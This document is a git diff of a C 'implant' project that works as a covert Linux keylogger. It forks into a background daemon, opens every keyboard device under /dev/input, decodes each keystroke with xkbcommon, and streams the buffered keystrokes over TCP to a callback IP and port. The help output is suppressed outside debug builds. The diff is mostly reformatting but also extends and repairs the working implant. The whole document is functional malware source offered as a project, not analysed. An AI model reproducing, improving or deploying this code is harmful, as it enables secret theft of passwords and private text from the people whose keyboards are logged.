diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -2,10 +2,9 @@
#ifndef IMPLANT_H
#define IMPLANT_H
-
-#include <sys/types.h>
#include <stdint.h>
#include <sys/queue.h>
+#include <sys/types.h>
#include <unistd.h>
#define QUEUE_BUFFER_SIZE 1024
@@ -18,21 +17,20 @@
*/
typedef struct keyboard_s keyboard_t;
struct keyboard_s {
- int fd;
+ int fd;
- ssize_t nb_chars;
- char buffer[QUEUE_BUFFER_SIZE];
+ ssize_t nb_chars;
+ char buffer[QUEUE_BUFFER_SIZE];
- char name[STRING_BUFFER_SIZE];
- TAILQ_ENTRY(keyboard_s) devices;
+ char name[STRING_BUFFER_SIZE];
+ TAILQ_ENTRY(keyboard_s) devices;
};
typedef struct translated_key {
- char const *description;
- char const representation;
+ char const *description;
+ char const representation;
} translated_key_t;
-
/*
contains project settings, such as target
port & IP address, whether debug mode is enabled
@@ -40,17 +38,16 @@ typedef struct translated_key {
*/
typedef struct implant_s {
- /* remote connection settings */
- unsigned short port;
- char ip[STRING_BUFFER_SIZE];
- int disable_net;
+ /* remote connection settings */
+ unsigned short port;
+ char ip[STRING_BUFFER_SIZE];
+ int disable_net;
- /* keyboard settings */
- TAILQ_HEAD(listhead, keyboard_s) kbd;
+ /* keyboard settings */
+ TAILQ_HEAD(listhead, keyboard_s) kbd;
} implant_t;
-
#define SUCCESSFUL 1
#define ERROR 0
@@ -58,23 +55,21 @@ typedef struct implant_s {
#include <syslog.h>
#ifndef DEBUG_LOG
-#define DEBUG_LOG(s, ...) \
- do { \
- char data[256] = {0}; \
- if (0 > snprintf(data, 255, s, ##__VA_ARGS__)) \
- _exit(1); \
- syslog(LOG_NOTICE, data); \
- } while (0)
+#define DEBUG_LOG(s, ...) \
+ do { \
+ char data[256] = {0}; \
+ if (0 > snprintf(data, 255, s, ##__VA_ARGS__)) \
+ _exit(1); \
+ syslog(LOG_NOTICE, data); \
+ } while (0)
#endif
-
-
#define KEY_PRESSED 1
#define KEY_RELEASED 0
// net.c
int init_remote_connection(implant_t *);
-int send_key_description(int, char [STRING_BUFFER_SIZE]);
+int send_key_description(int, char[STRING_BUFFER_SIZE]);
// opt.c
int parse_user_input(int, char **, implant_t *);
@@ -95,5 +90,4 @@ char *remove_repeating_whitespaces(char *);
void free_tab(uint8_t **);
char **tabgen(const char *, char);
-
#endif /* IMPLANT_H */
diff --git a/implant/sources/daemon.c b/implant/sources/daemon.c
@@ -1,48 +1,45 @@
#include "implant.h"
+#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
-#include <unistd.h>
-#include <signal.h>
-#include <sys/types.h>
#include <sys/stat.h>
-
+#include <sys/types.h>
+#include <unistd.h>
void daemon_setup(void) {
- pid_t pid;
-
- /* Fork off the parent process */
- pid = fork();
+ pid_t pid;
- if (pid < 0)
- exit(EXIT_FAILURE);
+ /* Fork off the parent process */
+ pid = fork();
- if (pid > 0)
- exit(EXIT_SUCCESS);
+ if (pid < 0)
+ exit(EXIT_FAILURE);
- if (setsid() < 0)
- exit(EXIT_FAILURE);
+ if (pid > 0)
+ exit(EXIT_SUCCESS);
- /* FIXME: implement decent signal handler here */
- signal(SIGCHLD, SIG_IGN);
- signal(SIGHUP, SIG_IGN);
+ if (setsid() < 0)
+ exit(EXIT_FAILURE);
- pid = fork();
- if (pid < 0)
- exit(EXIT_FAILURE);
+ /* FIXME: implement decent signal handler here */
+ signal(SIGCHLD, SIG_IGN);
+ signal(SIGHUP, SIG_IGN);
- if (pid > 0)
- exit(EXIT_SUCCESS);
+ pid = fork();
+ if (pid < 0)
+ exit(EXIT_FAILURE);
- umask(0);
- chdir("/tmp");
+ if (pid > 0)
+ exit(EXIT_SUCCESS);
- for (long x = sysconf(_SC_OPEN_MAX); x>=0; x--)
- {
- close((int)x);
- }
+ umask(0);
+ chdir("/tmp");
- openlog("mazepa", LOG_PID, LOG_DAEMON);
+ for (long x = sysconf(_SC_OPEN_MAX); x >= 0; x--) {
+ close((int)x);
+ }
+ openlog("mazepa", LOG_PID, LOG_DAEMON);
}
diff --git a/implant/sources/keyboard.c b/implant/sources/keyboard.c
@@ -3,107 +3,98 @@
keyboard handling and local support.
*/
-
#include "implant.h"
+#include <dirent.h>
#include <errno.h>
+#include <fcntl.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
-#include <fcntl.h>
#include <sys/queue.h>
#include <sys/stat.h>
#include <sys/types.h>
-#include <dirent.h>
#include <unistd.h>
-
static int is_kbd(const struct dirent *f) {
- size_t len = strlen(f->d_name);
+ size_t len = strlen(f->d_name);
- if (len < 3)
- return 0;
+ if (len < 3)
+ return 0;
- return f->d_name[len - 3] == 'k' && f->d_name[len - 2] == 'b' && f->d_name[len - 1] == 'd';
+ return f->d_name[len - 3] == 'k' && f->d_name[len - 2] == 'b' &&
+ f->d_name[len - 1] == 'd';
}
-
void fetch_available_keyboards(implant_t *instance) {
- /*
- input devices usually live in /dev/input/
+ /*
+ input devices usually live in /dev/input/
- you can identify the in the by-path subdirectory, which maps each
- device name to a symlink
+ you can identify the in the by-path subdirectory, which maps each
+ device name to a symlink
- here, we will return set an array of file-descriptor for each available
- keyboard on the machine, it should be appended with a -1 that should serve
- as a NULL value
- */
+ here, we will return set an array of file-descriptor for each available
+ keyboard on the machine, it should be appended with a -1 that should serve
+ as a NULL value
+ */
- struct dirent **char_devices = NULL;
- int possible_paths = scandir(
- "/dev/input/by-path/",
- &char_devices,
- &is_kbd,
- &alphasort
- );
+ struct dirent **char_devices = NULL;
+ int possible_paths =
+ scandir("/dev/input/by-path/", &char_devices, &is_kbd, &alphasort);
- if (-1 == possible_paths || 0 > chdir("/dev/input/by-path/")) {
+ if (-1 == possible_paths || 0 > chdir("/dev/input/by-path/")) {
#ifdef DEBUG
- DEBUG_LOG("could not find possible keyboard paths");
+ DEBUG_LOG("could not find possible keyboard paths");
#endif
- return;
- }
+ return;
+ }
- /* prepare TAILQ */
- TAILQ_INIT(&instance->kbd);
+ /* prepare TAILQ */
+ TAILQ_INIT(&instance->kbd);
- char rpath[2048] = {0};
- for (int ctr = -1; ++ctr < possible_paths;) {
- if (!realpath(char_devices[ctr]->d_name, rpath)) {
+ char rpath[2048] = {0};
+ for (int ctr = -1; ++ctr < possible_paths;) {
+ if (!realpath(char_devices[ctr]->d_name, rpath)) {
#ifdef DEBUG
- DEBUG_LOG(
- "[!] Could not run realpath(%s): %s",
- char_devices[ctr]->d_name, strerror(errno)
- );
+ DEBUG_LOG("[!] Could not run realpath(%s): %s", char_devices[ctr]->d_name,
+ strerror(errno));
#endif
- continue;
- }
-
+ continue;
+ }
- keyboard_t *kbd = malloc(sizeof(keyboard_t));
- if (!kbd) {
+ keyboard_t *kbd = malloc(sizeof(keyboard_t));
+ if (!kbd) {
#ifdef DEBUG
- DEBUG_LOG("[!] allocate memory for keyboard_t");
+ DEBUG_LOG("[!] allocate memory for keyboard_t");
#endif
- continue;
- }
-
+ continue;
+ }
- kbd->fd = open(rpath, O_RDONLY | O_NOCTTY | O_NDELAY);
- if (kbd->fd < 0) {
+ kbd->fd = open(rpath, O_RDONLY | O_NOCTTY | O_NDELAY);
+ if (kbd->fd < 0) {
#ifdef DEBUG
- DEBUG_LOG("[!] Could not open %s: %s", rpath, strerror(errno));
+ DEBUG_LOG("[!] Could not open %s: %s", rpath, strerror(errno));
#endif
- continue;
- }
-
- strncpy(kbd->name, rpath, 63);
- TAILQ_INSERT_HEAD(&instance->kbd, kbd, devices);
+ continue;
}
- for (int ctr = -1; ++ctr < possible_paths;)
- free(char_devices[ctr]);
- free(char_devices);
+ memset(kbd->name, 0, 64);
+ strncpy(kbd->name, rpath, 63);
+ TAILQ_INSERT_HEAD(&instance->kbd, kbd, devices);
+ }
+
+ for (int ctr = -1; ++ctr < possible_paths;)
+ free(char_devices[ctr]);
+ free(char_devices);
}
diff --git a/implant/sources/logger.c b/implant/sources/logger.c
@@ -1,289 +1,305 @@
#include "implant.h"
#include <alloca.h>
-#include <stdlib.h>
#include <bits/types/struct_timeval.h>
+#include <errno.h>
#include <linux/input-event-codes.h>
+#include <linux/input.h>
+#include <stdbool.h>
#include <stddef.h>
+#include <stdlib.h>
#include <string.h>
-#include <errno.h>
#include <sys/queue.h>
#include <sys/select.h>
-#include <linux/input.h>
#include <sys/types.h>
#include <unistd.h>
-#include <stdbool.h>
-#include <string.h>
#include <xkbcommon/xkbcommon.h>
-
static const translated_key_t KEYS[] = {
- { "space", ' ' },
- { "comma", ',' },
- { "period", '.' },
- { "slash", '/' },
- { "questionmark", '?' },
- { "semicolon", ';' },
- { "apostrophe", '\'' },
- { "bracketleft", '[' },
- { "bracketright", ']' },
- { "backslash", '\\' },
- { "pipe", '|' },
- { "Tab", '\t' },
- { "minus", '-'},
- { "plus", '+'},
- { "equal", '='},
- { NULL, 0 },
+ {"space", ' '},
+ {"comma", ','},
+ {"period", '.'},
+ {"slash", '/'},
+ {"questionmark", '?'},
+ {"semicolon", ';'},
+ {"apostrophe", '\''},
+ {"bracketleft", '['},
+ {"bracketright", ']'},
+ {"backslash", '\\'},
+ {"pipe", '|'},
+ {"Tab", '\t'},
+ {"minus", '-'},
+ {"plus", '+'},
+ {"equal", '='},
+ {"dollar", '$'},
+ {"percentage", '%'},
+ {"star", '*'},
+ {"parenthesisleft", '('},
+ {"parenthesisright", ')'},
+ {"underscore", '_'},
+ {"ampersand", '&'},
+ {"pound", '#'},
+ {"arobase", '@'},
+ {"tild", '~'},
+ {NULL, 0},
};
static int get_highest_fd(implant_t *instance) {
- int highest_fd = -1;
+ int highest_fd = -1;
- keyboard_t *it = NULL;
- TAILQ_FOREACH(it, &instance->kbd, devices) {
- highest_fd = (it->fd > highest_fd) ? it->fd : highest_fd;
- }
- return highest_fd;
+ keyboard_t *it = NULL;
+ TAILQ_FOREACH(it, &instance->kbd, devices) {
+ highest_fd = (it->fd > highest_fd) ? it->fd : highest_fd;
+ }
+ return highest_fd;
}
-
static char *check_translated_key(char *key_desc) {
- for (size_t ctr = 0; KEYS[ctr].description != NULL; ctr++) {
- if (!strcmp(KEYS[ctr].description, key_desc)) {
+ for (size_t ctr = 0; KEYS[ctr].description != NULL; ctr++) {
+ if (!strcmp(KEYS[ctr].description, key_desc)) {
- memset(key_desc, 0, STRING_BUFFER_SIZE);
- key_desc[0] = KEYS[ctr].representation;
+ memset(key_desc, 0, STRING_BUFFER_SIZE);
+ key_desc[0] = KEYS[ctr].representation;
- break;
- }
+ break;
}
- return key_desc;
+ }
+ return key_desc;
}
-
static int log_keyboard(int fd, struct xkb_state *state, char **key_desc_ptr) {
- struct input_event evt = {0};
- static bool shift_pressed = false;
+ struct input_event evt = {0};
+ static bool shift_pressed = false;
+ /*
+ read events out of /dev/input/by-path/${**}-kbd
- /*
- read events out of /dev/input/by-path/${**}-kbd
-
- TODO:
- for now, we only read one, but we can attempt to read them in
- bulk of 6-10 once bufferizing messages is implemented
- */
+ TODO:
+ for now, we only read one, but we can attempt to read them in
+ bulk of 6-10 once bufferizing messages is implemented
+ */
- ssize_t bytes_read = read(fd, &evt, sizeof(evt));
+ ssize_t bytes_read = read(fd, &evt, sizeof(evt));
#ifdef DEBUG
- DEBUG_LOG("[!] read %ld bytes", bytes_read);
+ DEBUG_LOG("[!] read %ld bytes", bytes_read);
#endif
-
- if (bytes_read != sizeof(evt)) {
+ if (bytes_read != sizeof(evt)) {
#ifdef DEBUG
- DEBUG_LOG("[!] read() error: %s", strerror(errno));
+ DEBUG_LOG("[!] read() error: %s", strerror(errno));
#endif
- return ERROR;
- }
+ return ERROR;
+ }
- /* checking is we are in MAJ key. TODO: check if CAPS_LOCK is enabled or not. */
- if (evt.type == EV_KEY && evt.value == KEY_RELEASED) {
- if (evt.code == KEY_LEFTSHIFT || evt.code == KEY_RIGHTSHIFT) {
- shift_pressed = false;
- return SUCCESSFUL;
- }
+ /* checking is we are in MAJ key. TODO: check if CAPS_LOCK is enabled or not.
+ */
+ if (evt.type == EV_KEY && evt.value == KEY_RELEASED) {
+ if (evt.code == KEY_LEFTSHIFT || evt.code == KEY_RIGHTSHIFT) {
+ shift_pressed = false;
+ return SUCCESSFUL;
}
+ }
- if (evt.type == EV_KEY && evt.value == KEY_PRESSED) {
-
- if (evt.code == KEY_LEFTSHIFT || evt.code == KEY_RIGHTSHIFT) {
- shift_pressed = true;
- return SUCCESSFUL;
- }
+ if (evt.type == EV_KEY && evt.value == KEY_PRESSED) {
- /*
- TODO:
+ if (evt.code == KEY_LEFTSHIFT || evt.code == KEY_RIGHTSHIFT) {
+ shift_pressed = true;
+ return SUCCESSFUL;
+ }
- 1) add support for xlib as well, so that wayland AND xlib are
- supported. this should allow us to then relay those without issues
+ /*
+ TODO:
- 2) add check for which library is installed & add abstraction layer
- */
+ 1) add support for xlib as well, so that wayland AND xlib are
+ supported. this should allow us to then relay those without issues
+ 2) add check for which library is installed & add abstraction layer
+ */
- xkb_keysym_t keysym = xkb_state_key_get_one_sym(state, evt.code + 8);
+ xkb_keysym_t keysym = xkb_state_key_get_one_sym(state, evt.code + 8);
- if (shift_pressed)
- keysym = xkb_keysym_to_upper(keysym);
+ if (shift_pressed)
+ keysym = xkb_keysym_to_upper(keysym);
- memset(*key_desc_ptr, 0, STRING_BUFFER_SIZE);
- xkb_keysym_get_name(keysym, *key_desc_ptr, STRING_BUFFER_SIZE);
+ memset(*key_desc_ptr, 0, STRING_BUFFER_SIZE);
+ xkb_keysym_get_name(keysym, *key_desc_ptr, STRING_BUFFER_SIZE);
- *key_desc_ptr = check_translated_key(*key_desc_ptr);
- }
+ *key_desc_ptr = check_translated_key(*key_desc_ptr);
+ }
- return SUCCESSFUL;
+ return SUCCESSFUL;
}
-
/*
main loop to listen for keys and stuff
*/
void keylog(implant_t *instance, int sockfd) {
+ /* first set up select etc */
+ int highest_fd = get_highest_fd(instance);
+ fd_set rd, err;
+ int status = 0;
- /* first set up select etc */
- int highest_fd = get_highest_fd(instance);
- fd_set rd, err;
- int status = 0;
-
- if (highest_fd < 0) {
+ if (highest_fd < 0) {
#ifdef DEBUG
- DEBUG_LOG("[!] no keyboard found. exiting");
+ DEBUG_LOG("[!] no keyboard found. exiting");
#endif
- return;
- }
-
+ return;
+ }
- /*
- initialize xkbcommon context
+ /*
+ initialize xkbcommon context
- this is the stuff that allows us to map keys to
- the correct language & manages special characters, shift, etc.
- */
+ this is the stuff that allows us to map keys to
+ the correct language & manages special characters, shift, etc.
+ */
- struct xkb_context *context = NULL;
- struct xkb_keymap *keymap = NULL;
- struct xkb_state *state = NULL;
+ struct xkb_context *context = NULL;
+ struct xkb_keymap *keymap = NULL;
+ struct xkb_state *state = NULL;
- context = xkb_context_new(0);
- if (!context) {
+ context = xkb_context_new(0);
+ if (!context) {
#ifdef DEBUG
- DEBUG_LOG("[!] error with xkb_context_new(): %s", strerror(errno));
+ DEBUG_LOG("[!] error with xkb_context_new(): %s", strerror(errno));
#endif
- return;
+ return;
+ }
- }
-
- keymap = xkb_keymap_new_from_names(context, NULL, 0);
- if (!keymap) {
+ keymap = xkb_keymap_new_from_names(context, NULL, 0);
+ if (!keymap) {
#ifdef DEBUG
- DEBUG_LOG("[!] error with xkb_keymap_new_from_names(): %s", strerror(errno));
+ DEBUG_LOG("[!] error with xkb_keymap_new_from_names(): %s",
+ strerror(errno));
#endif
- goto LOG_FUNCTION_CLEANUP;
- }
+ goto LOG_FUNCTION_CLEANUP;
+ }
- state = xkb_state_new(keymap);
- if (!state) {
+ state = xkb_state_new(keymap);
+ if (!state) {
#ifdef DEBUG
- DEBUG_LOG("[!] error with xkb_state_new(): %s", strerror(errno));
+ DEBUG_LOG("[!] error with xkb_state_new(): %s", strerror(errno));
#endif
- goto LOG_FUNCTION_CLEANUP;
+ goto LOG_FUNCTION_CLEANUP;
+ }
+
+ char *key_desc = malloc(sizeof(char) * (STRING_BUFFER_SIZE + 1));
+ if (!key_desc)
+ goto LOG_FUNCTION_CLEANUP;
+
+ memset(key_desc, 0, STRING_BUFFER_SIZE);
+
+ /* run the damn loop */
+ while (0x520) {
+
+ /* setup FD-sets */
+ keyboard_t *it = NULL;
+ TAILQ_FOREACH(it, &instance->kbd, devices) {
+ FD_SET(it->fd, &rd);
+ FD_SET(it->fd, &err);
}
+ /*
+ check if a key has been pressed
- /* run the damn loop */
- while (0x520) {
+ i really dont like this method because it means that everytime you
+ press a key, a least 2 syscalls are ran (select & read)
- /* setup FD-sets */
- keyboard_t *it = NULL;
- TAILQ_FOREACH(it, &instance->kbd, devices) {
- FD_SET(it->fd, &rd);
- FD_SET(it->fd, &err);
- }
+ since we are buffering the keys anyway, why not poll for new events
+ every n seconds & then call read() ? is there a risk of missing keys?
+ tbd
- /* check if a key has been pressed */
+ this select method works well for servers, but not really to poll new
+ events
+ */
#ifdef DEBUG
- struct timeval timeout = {0, 1};
- status = select(highest_fd + 1, &rd, NULL, &err, &timeout);
+ struct timeval timeout = {0, 1};
+ status = select(highest_fd + 1, &rd, NULL, &err, &timeout);
#else
- status = select(highest_fd + 1, &rd, NULL, &err, NULL);
+ status = select(highest_fd + 1, &rd, NULL, &err, NULL);
#endif
-
- if (status < 0) {
+ if (status < 0) {
#ifdef DEBUG
- DEBUG_LOG("[!] select error: %s", strerror(errno));
+ DEBUG_LOG("[!] select error: %s", strerror(errno));
#endif
- goto LOG_FUNCTION_CLEANUP;
- }
+ goto LOG_FUNCTION_CLEANUP;
+ }
- /* check file descriptors (first for error, then for new input) */
- it = NULL;
- TAILQ_FOREACH(it, &instance->kbd, devices) {
- if (FD_ISSET(it->fd, &err)) {
+ /* check file descriptors (first for error, then for new input) */
+ it = NULL;
+ TAILQ_FOREACH(it, &instance->kbd, devices) {
+ if (FD_ISSET(it->fd, &err)) {
#ifdef DEBUG
- DEBUG_LOG("[!] Error on file descriptor %d", it->fd);
+ DEBUG_LOG("[!] Error on file descriptor %d", it->fd);
#endif
- /* keyboard has been un-plugged, let's continue */
- FD_CLR(it->fd, &rd);
- FD_CLR(it->fd, &err);
-
- close(it->fd);
- TAILQ_REMOVE(&instance->kbd, it, devices);
-
- /*
- TODO: there is probably a memory leak here, investigate how to fix
-
- (we allocate keyboard_t instance but we don't free it here... :x )
- */
-
- continue;
- }
+ /* keyboard has been un-plugged, let's continue */
+ FD_CLR(it->fd, &rd);
+ FD_CLR(it->fd, &err);
- /* checking for new input here */
- if (FD_ISSET(it->fd, &rd)) {
+ close(it->fd);
- char *key_desc = malloc(sizeof(char) * (STRING_BUFFER_SIZE + 1));
- memset(key_desc, 0, STRING_BUFFER_SIZE);
+ /* making sure we dont have a memory leak here */
+ void *tmp_ptr = &instance->kbd;
+ TAILQ_REMOVE(&instance->kbd, it, devices);
- if (!key_desc) {
- goto LOG_FUNCTION_CLEANUP;
- }
+ free(tmp_ptr);
+ continue;
+ }
- /*
- should we really kill the run here or can we recover this ?
- i need to run some tests before making a decision.
- */
- if (ERROR == log_keyboard(it->fd, state, &key_desc))
- goto LOG_FUNCTION_CLEANUP;
+ /* checking for new input here */
+ if (FD_ISSET(it->fd, &rd)) {
+ memset(key_desc, 0, STRING_BUFFER_SIZE);
- if (ERROR == send_key_description(sockfd, key_desc))
- goto LOG_FUNCTION_CLEANUP;
- }
-
+ /*
+ should we really kill the run here or can we recover this ?
+ i need to run some tests before making a decision.
+ */
+ if (ERROR == log_keyboard(it->fd, state, &key_desc)) {
+ goto LOG_FUNCTION_CLEANUP;
}
+ if (ERROR == send_key_description(sockfd, key_desc)) {
+ goto LOG_FUNCTION_CLEANUP;
+ }
+ }
}
-
+ }
LOG_FUNCTION_CLEANUP:
- /* TODO: close the file descriptors */
+ /* closing file descriptors if instance still exists */
+ if (instance != NULL) {
+ keyboard_t *it = NULL;
+ TAILQ_FOREACH(it, &instance->kbd, devices) { close(it->fd); }
+ }
+
+ close(sockfd);
- if (state != NULL)
- xkb_state_unref(state);
+ if (key_desc != NULL)
+ free(key_desc);
- if (keymap != NULL)
- xkb_keymap_unref(keymap);
+ if (state != NULL)
+ xkb_state_unref(state);
- if (context != NULL)
- xkb_context_unref(context);
+ if (keymap != NULL)
+ xkb_keymap_unref(keymap);
+ if (context != NULL)
+ xkb_context_unref(context);
}
diff --git a/implant/sources/main.c b/implant/sources/main.c
@@ -6,32 +6,28 @@
#include "implant.h"
-
int main(int ac, char **av) {
- implant_t instance = {
- .ip = {0},
- .port = 80, /* ip can be a domain name */
- };
+ implant_t instance = {
+ .ip = {0}, .port = 80, /* ip can be a domain name */
+ };
- if (ERROR == parse_user_input(ac, av, &instance))
- return 1;
+ if (ERROR == parse_user_input(ac, av, &instance))
+ return 1;
- daemon_setup();
+ daemon_setup();
#ifdef DEBUG
- DEBUG_LOG(
- "[*] Implant settings:\n\tIP:%s\n\tPort:%d",
- instance.ip, instance.port
- );
+ DEBUG_LOG("[*] Implant settings:\n\tIP:%s\n\tPort:%d", instance.ip,
+ instance.port);
#endif
- fetch_available_keyboards(&instance);
+ fetch_available_keyboards(&instance);
- int sockfd = init_remote_connection(&instance);
- if (sockfd < 0)
- return 1;
+ int sockfd = init_remote_connection(&instance);
+ if (sockfd < 0)
+ return 1;
- keylog(&instance, sockfd);
- return 0;
+ keylog(&instance, sockfd);
+ return 0;
}
diff --git a/implant/sources/net.c b/implant/sources/net.c
@@ -4,156 +4,142 @@
remote server
*/
-
-#include <stddef.h>
-#include <string.h>
-#include <sys/socket.h>
#include <arpa/inet.h>
+#include <errno.h>
#include <netinet/in.h>
+#include <stddef.h>
#include <stdio.h>
-#include <errno.h>
+#include <string.h>
+#include <sys/socket.h>
#include <unistd.h>
#include "implant.h"
-
int send_key_description(int sockfd, char *key_desc) {
- /*
- creates a standalone buffer of at least 10 * STRING_BUFFER_SIZE,
- and only sends a message once the buffer size is full.
+ /*
+ creates a standalone buffer of at least 10 * STRING_BUFFER_SIZE,
+ and only sends a message once the buffer size is full.
- it is the responsability of the user to not pick a STRING_BUFFER_SIZE
- such that a size_t can hold 10 times its size in nb of characters.
- */
+ it is the responsability of the user to not pick a STRING_BUFFER_SIZE
+ such that a size_t can hold 10 times its size in nb of characters.
+ */
#ifdef DEBUG
- /* i dont want to wait that long when testing lol */
+ /* i dont want to wait that long when testing lol */
- const size_t max_nb_chars = STRING_BUFFER_SIZE;
- static char tmp_buffer[STRING_BUFFER_SIZE] = { 0 };
+ const size_t max_nb_chars = STRING_BUFFER_SIZE;
+ static char tmp_buffer[STRING_BUFFER_SIZE] = {0};
#else
- const size_t max_nb_chars = STRING_BUFFER_SIZE * 10;
- static char tmp_buffer[STRING_BUFFER_SIZE * 10] = { 0 };
+ const size_t max_nb_chars = STRING_BUFFER_SIZE * 10;
+ static char tmp_buffer[STRING_BUFFER_SIZE * 10] = {0};
#endif
- static size_t nb_chars_in_buffer = 0;
+ static size_t nb_chars_in_buffer = 0;
-
- /* since DEBUG has timeout for keyboard read, we can get empty keys sometimes */
- size_t length_keydesc = strlen(key_desc);
- if (length_keydesc == 0) {
- return SUCCESSFUL;
- }
+ /* since DEBUG has timeout for keyboard read, we can get empty keys sometimes
+ */
+ size_t length_keydesc = strlen(key_desc);
+ if (length_keydesc == 0) {
+ return SUCCESSFUL;
+ }
#ifdef DEBUG
- DEBUG_LOG(
- "buffer: %s [%ld / %ld]",
- tmp_buffer,
- nb_chars_in_buffer,
- max_nb_chars
- );
-
- DEBUG_LOG("new key: %s", key_desc);
-#endif
+ DEBUG_LOG("buffer: %s [%ld / %ld]", tmp_buffer, nb_chars_in_buffer,
+ max_nb_chars);
+ DEBUG_LOG("new key: %s", key_desc);
+#endif
- if (max_nb_chars < (nb_chars_in_buffer + length_keydesc)) {
- if (-1 == send(sockfd, tmp_buffer, nb_chars_in_buffer, 0)) {
+ if (max_nb_chars < (nb_chars_in_buffer + length_keydesc)) {
+ if (-1 == send(sockfd, tmp_buffer, nb_chars_in_buffer, 0)) {
#ifdef DEBUG
- DEBUG_LOG("send: %s", strerror(errno));
+ DEBUG_LOG("send: %s", strerror(errno));
#endif
- return ERROR;
- }
+ return ERROR;
+ }
- memset(tmp_buffer, 0, nb_chars_in_buffer);
- nb_chars_in_buffer = 0;
+ memset(tmp_buffer, 0, nb_chars_in_buffer);
+ nb_chars_in_buffer = 0;
- if (NULL == strncpy(tmp_buffer, key_desc, max_nb_chars)) {
+ if (NULL == strncpy(tmp_buffer, key_desc, max_nb_chars)) {
#ifdef DEBUG
- DEBUG_LOG("strncpy send_key_description: %s", strerror(errno));
+ DEBUG_LOG("strncpy send_key_description: %s", strerror(errno));
#endif
- return ERROR;
- }
+ return ERROR;
+ }
- } else {
+ } else {
- if (NULL == strncat(tmp_buffer, key_desc, max_nb_chars - nb_chars_in_buffer)) {
+ if (NULL ==
+ strncat(tmp_buffer, key_desc, max_nb_chars - nb_chars_in_buffer)) {
#ifdef DEBUG
- DEBUG_LOG("strncat send_key_description: %s", strerror(errno));
+ DEBUG_LOG("strncat send_key_description: %s", strerror(errno));
#endif
- return ERROR;
- }
-
+ return ERROR;
}
+ }
- nb_chars_in_buffer = strlen(tmp_buffer);
- return SUCCESSFUL;
+ nb_chars_in_buffer = strlen(tmp_buffer);
+ return SUCCESSFUL;
}
-
-
int init_remote_connection(implant_t *instance) {
#ifdef DEBUG
- DEBUG_LOG("Initiating remote connection with (%s:%d)", instance->ip, instance->port);
+ DEBUG_LOG("Initiating remote connection with (%s:%d)", instance->ip,
+ instance->port);
#endif
- /*
- creating initial socket...
+ /*
+ creating initial socket...
- AF_INET -> remote connection (for local, use AF_UNIX)
- SOCK_STREAM -> TCP connection (for UDP, use SOCK_DGRAM)
- IPPROTO_TCP -> Specify protocol (for UDP, use IPPROTO_UDP)
+ AF_INET -> remote connection (for local, use AF_UNIX)
+ SOCK_STREAM -> TCP connection (for UDP, use SOCK_DGRAM)
+ IPPROTO_TCP -> Specify protocol (for UDP, use IPPROTO_UDP)
- */
- int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (sockfd < 0) {
+ */
+ int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+ if (sockfd < 0) {
#ifdef DEBUG
- perror("socket");
+ perror("socket");
#endif
- close(sockfd);
- return -1;
- }
-
- /* items required to bind socket to remote address */
- int is_enabled = 1;
- struct sockaddr_in addr = {
- .sin_family = AF_INET,
- .sin_port = htons(instance->port),
- .sin_addr.s_addr = inet_addr(instance->ip)
- };
+ close(sockfd);
+ return -1;
+ }
+ /* items required to bind socket to remote address */
+ int is_enabled = 1;
+ struct sockaddr_in addr = {.sin_family = AF_INET,
+ .sin_port = htons(instance->port),
+ .sin_addr.s_addr = inet_addr(instance->ip)};
- /* setting socket options to make connection more convenient */
- if (setsockopt(
- sockfd,
- SOL_SOCKET,
- SO_REUSEADDR | SO_REUSEPORT, /* allowing to reuse ADDR or PORT (useful for testing) */
- &is_enabled,
- sizeof(int)
- ) < 0) {
+ /* setting socket options to make connection more convenient */
+ if (setsockopt(sockfd, SOL_SOCKET,
+ SO_REUSEADDR | SO_REUSEPORT, /* allowing to reuse ADDR or PORT
+ (useful for testing) */
+ &is_enabled, sizeof(int)) < 0) {
#ifdef DEBUG
- DEBUG_LOG("setsockopt send_key_description: %s", strerror(errno));
+ DEBUG_LOG("setsockopt send_key_description: %s", strerror(errno));
#endif
- close(sockfd);
- return -1;
- }
+ close(sockfd);
+ return -1;
+ }
- if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
+ if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
#ifdef DEBUG
- DEBUG_LOG("connect: %s", strerror(errno));
+ DEBUG_LOG("connect: %s", strerror(errno));
#endif
- close(sockfd);
- return -1;
- }
+ close(sockfd);
+ return -1;
+ }
- return sockfd;
+ return sockfd;
}
diff --git a/implant/sources/opt.c b/implant/sources/opt.c
@@ -2,7 +2,6 @@
program's imput handling is handled here.
*/
-
#include <getopt.h>
#include <stdio.h>
#include <stdlib.h>
@@ -13,51 +12,52 @@
static void help_mode(char const *binary_path) {
#ifdef DEBUG
- printf("%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback Port\n\t-n\tDisable network connection (for debug)\n", binary_path);
+ printf("%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback "
+ "Port\n\t-n\tDisable network connection (for debug)\n",
+ binary_path);
#else
- (void)binary_path;
+ (void)binary_path;
#endif
}
-
int parse_user_input(int ac, char **av, implant_t *settings) {
- int c = 0;
+ int c = 0;
#ifdef DEBUG
- char const *options = "i:p:hn";
+ char const *options = "i:p:hn";
#else
- char const *options = "i:p:h";
+ char const *options = "i:p:h";
#endif
- do {
- c = getopt(ac, av, options);
- switch (c) {
+ do {
+ c = getopt(ac, av, options);
+ switch (c) {
#ifdef DEBUG
- case 'n':
- settings->disable_net = 1;
- break;
+ case 'n':
+ settings->disable_net = 1;
+ break;
#endif
- case 'i':
- strncpy((char *)&settings->ip, optarg, 255);
- break;
-
- case 'p':
- settings->port = (unsigned short)strtoul(optarg, NULL, 0);
- break;
-
- case 'h':
- help_mode(av[0]);
- exit(0);
- /* will exit on help_mode() anyway */
-
- case '?':
- help_mode(av[0]);
- return ERROR;
-
- default:
- break;
- }
- } while (c != -1);
- return SUCCESSFUL;
+ case 'i':
+ strncpy((char *)&settings->ip, optarg, 255);
+ break;
+
+ case 'p':
+ settings->port = (unsigned short)strtoul(optarg, NULL, 0);
+ break;
+
+ case 'h':
+ help_mode(av[0]);
+ exit(0);
+ /* will exit on help_mode() anyway */
+
+ case '?':
+ help_mode(av[0]);
+ return ERROR;
+
+ default:
+ break;
+ }
+ } while (c != -1);
+ return SUCCESSFUL;
}
